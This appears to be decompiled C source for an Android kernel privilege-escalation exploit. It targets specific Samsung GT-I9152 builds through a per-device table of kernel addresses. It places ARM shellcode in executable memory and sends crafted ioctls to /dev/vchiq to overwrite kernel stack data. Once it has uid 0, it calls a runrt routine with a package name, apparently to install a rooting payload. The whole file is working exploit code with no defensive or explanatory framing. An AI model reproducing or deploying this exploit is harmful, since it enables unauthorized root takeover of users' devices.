#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/futex.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/system_properties.h>
#include <sys/utsname.h>
#include "util.h"

//#define DEBUG

#ifdef DEBUG
#define printff    printf
#else
#define printff(...) 
#endif

typedef enum __bool { false = 0, true = 1, } bool;
typedef unsigned int _DWORD;
typedef unsigned char _BYTE;
typedef unsigned int u4;

typedef struct _sam {
    char band[8];
    char model[32];
    char buildno[64];
    char version[64];
    unsigned int e;
    unsigned int f;
    unsigned int a;
    unsigned int b;
    unsigned int c;
    unsigned int g;
    unsigned int h;
} sam, *psam;

sam  sam_all[] = {
    // 1401161686969_unpack.so 196
    {"Samsung", "GT-I9152", "3.0.31-2131339", "#1 SMP PREEMPT Thu Jan 2 20:30:42 KST 2014", 0xc00ebe8c, 0xc00eb8c8, 0xc09c9b20, 0xc8, 0x70, 0x8000000e, 0x60}, /*0*/ \
    {"Samsung", "GT-I9152", "3.0.31-2538307", "#1 SMP PREEMPT Mon Feb 17 17:00:13 KST 2014", 0xc00ebe8c, 0xc00eb8c8, 0xc09c9b20, 0xc8, 0x70, 0x8000000e, 0x60}, /*1*/ \
};

int g_sam_entries = sizeof(sam_all)/sizeof(sam);

unsigned int dword_73A4[19] =
{
    4044095936u,
    3852455984u,
    3852324864u,
    3800947201u,
    3852402736u,
    3851419648u,
    3852419104u,
    3778019124u,
    3785412608u,
    4043833792u,
    3852402712u,
    3851419648u,
    3852419084u,
    3778019124u,
    3902647280u,
    0u,
    0u,
    0u,
    0u
};
unsigned int orig_uid; // weak
unsigned int orig_euid; // weak
unsigned int orig_suid; // weak
int dev_base; // weak
void *tmp_stack; // idb

signed int check_stack_signature(int a1)
{
    signed int v1; // r3@1
    int v2; // t1@3
    bool v3; // zf@3

    v1 = 0xABCDEF00;
    do
    {
        v2 = *(_DWORD *)a1;
        a1 += 4;
        v3 = v2 == v1++;
        if ( !v3 )
            return -1;
    }
    while ( v1 != 0xABCDEF18 );
    return 0;
}

int search_stack_signature(unsigned int a1, int a2)
{
    unsigned int v2; // r6@1
    unsigned int v3; // r7@2
    int v4; // r4@2
    int v5; // r5@4
    signed int v6; // r0@4
    int result; // r0@5

    v2 = a1;
    if ( a1 >= a2 - 96 )
    {
LABEL_6:
        result = 0;
    }
    else
    {
        v3 = ((a2 - a1 - 97) & 0xFFFFFFFC) + 4;
        v4 = 0;
        while ( 1 )
        {
            v5 = v2 + v4;
            v6 = check_stack_signature(v2 + v4);
            v4 += 4;
            if ( !v6 )
                break;
            if ( v4 == v3 )
                goto LABEL_6;
        }
        result = v5;
    }
    return result;
}

int search_sp(int a1)
{
    int v1; // r10@1
    int v2; // r8@1
    int i; // r7@1
    int v4; // r1@2
    int v5; // r3@4
    int v6; // t1@4
    int v7; // r12@5
    int v8; // r2@5
    int v9; // t1@6
    int v10; // t1@7

    v1 = *(_DWORD *)(a1 + 0xB0);
    v2 = *(_DWORD *)(a1 + 0xB4);
    for ( i = *(_DWORD *)(v1 + v2) - v2; v1 != i; i = *(_DWORD *)(i + v2) - v2 )
    {
        v4 = i - 1;
        do
        {
            v6 = *(_BYTE *)(v4++ + 1);
            v5 = v6;
            if ( v6 == 68 )
            {
                v7 = v4;
                v8 = (int)"DevRamdiskOK";
                while ( 1 )
                {
                    v10 = *(_BYTE *)v8++;
                    if ( v5 != v10 )
                        break;
                    if ( !v5 )
                        return *(_DWORD *)(a1 + 0xC0)
                        + *(_DWORD *)(a1 + 184)
                        + search_stack_signature(*(_DWORD *)(i + 4), *(_DWORD *)(i + 4) + 0x2000);
                    v9 = *(_BYTE *)(v7++ + 1);
                    v5 = v9;
                }
            }
        }
        while ( v4 != i + 763 );
    }
    return -2;
}

void *map_all_global_vars()
{
    tmp_stack = (void *)((unsigned int)((char *)malloc(0x8000u) + 0x1FFF) & 0xFFFFE000);
    return memset(tmp_stack, 255, 0x2000u);
}

int get_root(int a1)
{
    void (*v1)(_DWORD); // r4@1
    int v2; // r0@1

    v1 = *(void (**)(_DWORD))(a1 + 0xAC);
    v2 = (*(int (**)(_DWORD))(a1 + 0xA8))(0);
    v1(v2);
    return 0;
}

int set_stack_signature(int result)
{
    signed int v1; // r3@1

    v1 = 0xABCDEF00;
    do
    {
        *(_DWORD *)result = v1;
        result += 4;
        ++v1;
    }
    while ( v1 != 0xABCDEF1B );
    return result;
}

//int main(int argc, const char **argv, const char **envp)
int exp_main()
{
    int result; // r0@2
    signed int v4; // r0@10
    int v5; // r8@19
    size_t v6; // r9@21
    int v7; // r7@21
    int v8; // r4@22
    const char *v9; // r4@28
    size_t v10; // r0@28
    int v11; // r0@28
    unsigned int v12; // r5@28
    void *v13; // r0@30
    unsigned int v14; // r8@31
    int v15; // r0@32
    int v16; // r4@32
    void *v17; // r0@34
    int v18; // r2@35
    int v19; // r3@35
    __pid_t v20; // r0@36
    size_t n; // [sp+10h] [bp-248h]@25
    unsigned int v22[7]; // [sp+1Ch] [bp-23Ch]@33
    unsigned int v23[3]; // [sp+38h] [bp-220h]@34
    int stat_loc; // [sp+44h] [bp-214h]@9
    struct utsname name; // [sp+48h] [bp-210h]@19
    char v28[92]; // [sp+1D0h] [bp-88h]@21
    int v29; // [sp+22Ch] [bp-2Ch]@1

    v5 = uname(&name);
    if ( !v5 )
    {
        __system_property_get("ro.product.model", v28);
        v6 = strlen(v28);
        v7 = 0;
        while ( 1 )
        {
            v8 = 196 * v7;
            if ( strlen(sam_all[v7].model) == v6 )
            {
                n = strlen(name.release);
                if ( n == strlen(sam_all[v7].buildno)
                    && !strncmp(v28, sam_all[v7].model, v6)
                    && !strncmp(name.release, sam_all[v7].buildno, n) )
                {
                    v9 = sam_all[v7].version;
                    v10 = strlen(v9);
                    v11 = strncmp(name.version, v9, v10);
                    v12 = v11;
                    if ( !v11 )
                        break;
                }
            }
            ++v7;
            v5 = v7;
            if ( v7 == g_sam_entries )
                //exit(1);
                return 1;
        }
        if ( 1 )
        {
            dev_base = &sam_all[v5];
            prctl(15, "DevRamdiskOK", 0, 0, v11);
            map_all_global_vars();
            v13 = malloc(0x2000u);
            if ( v13 )
            {
                v14 = (unsigned int)((char *)v13 + 0xFFF) & 0xFFFFF000;
                mprotect((void *)v14, 0x1000u, 7);
                dword_73A4[15] = (unsigned int)&tmp_stack;
                dword_73A4[18] = (unsigned int)&dev_base;
                dword_73A4[16] = (unsigned int)search_sp;
                dword_73A4[17] = (unsigned int)get_root;
                memcpy((void *)v14, dword_73A4, 0x4Cu);
                if ( v14 )
                {
                    v15 = open("/dev/vchiq", 2);
                    v16 = v15;
                    if ( v15 < 0 )
                        //exit(2);
                        return 2;
                    v22[2] = v12;
                    v22[3] = v12;
                    v22[4] = v12;
                    v22[5] = v12;
                    v22[6] = v12;
                    v22[0] = 0x123;
                    v22[1] = v12;
                    if ( ioctl(v15, 0xC01CC402, v22) )
                        //exit(3);
                        return 3;
                    v23[0] = v22[6];
                    v17 = malloc(0x100u);
                    v23[2] = (int)v17;
                    if ( v17 )
                    {
                        memset(v17, 0, 0x100u);
                        set_stack_signature(v23[2]);
                        v18 = v23[2];
                        v19 = dev_base;
                        v23[1] = *(_DWORD *)(dev_base + 0xBC);
                        *(_DWORD *)(v23[2] + *(_DWORD *)(dev_base + 0xB8) - 12) = v14;
                        *(_DWORD *)(v18 + *(_DWORD *)(v19 + 0xB8) - 8) = v14;
                        *(_DWORD *)(v18 + *(_DWORD *)(v19 + 0xB8) - 4) = v14;
                        sleep(1u);
                        ioctl(v16, 0x400CC404u, v23);
                        close(v16);
                        printff("[main]uid: %x\n", getuid());
                        //execv("/system/bin/sh", argv);
                        //exit(39);
                        return 0;
                    }
                }
            }
            //exit(4);
            return 4;
        }
    }

    return 10;
}

//////////////////////////////////////////////////////////////////////////

extern int runrt(int uid, const char* pszPkgName, const char* pszRootName);

void do_root(int argc, const char **argv)
{
	printff("runrt(%d, '%s', '%s')\n", atoi(argv[1]), argv[2], argv[3]);
#ifndef DEBUG		
	runrt( atoi(argv[1]), argv[2], argv[3] );
#endif
}

int main(int argc, const char **argv)
{
	int ret = 0;
	
#ifndef DEBUG	
	check_parent_pid();
#endif

	if(argc < 4) return 1;
	
	exp_main();
	ret = (getuid() == 0);
	if(ret)
	{
		do_root(argc, argv);
	}
	return ret? 0:1;
}

